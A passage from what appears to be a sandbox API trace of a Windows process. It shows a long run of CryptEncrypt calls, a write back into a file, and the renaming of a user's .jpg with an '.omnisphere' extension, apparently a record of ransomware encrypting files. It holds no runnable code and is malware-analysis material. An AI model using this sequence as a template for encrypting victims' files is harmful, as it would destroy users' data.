dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.812] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.813] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.814] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.815] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.816] CryptDestroyKey (hKey=0x1639568) returned 1 [0074.816] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0074.816] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x2fea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.816] WriteFile (in: hFile=0x380, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0074.817] GetProcessHeap () returned 0x1600000 [0074.817] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28e) returned 0x164f4d0 [0074.817] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_kddphsujidztzf4y7d.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere" (normalized: 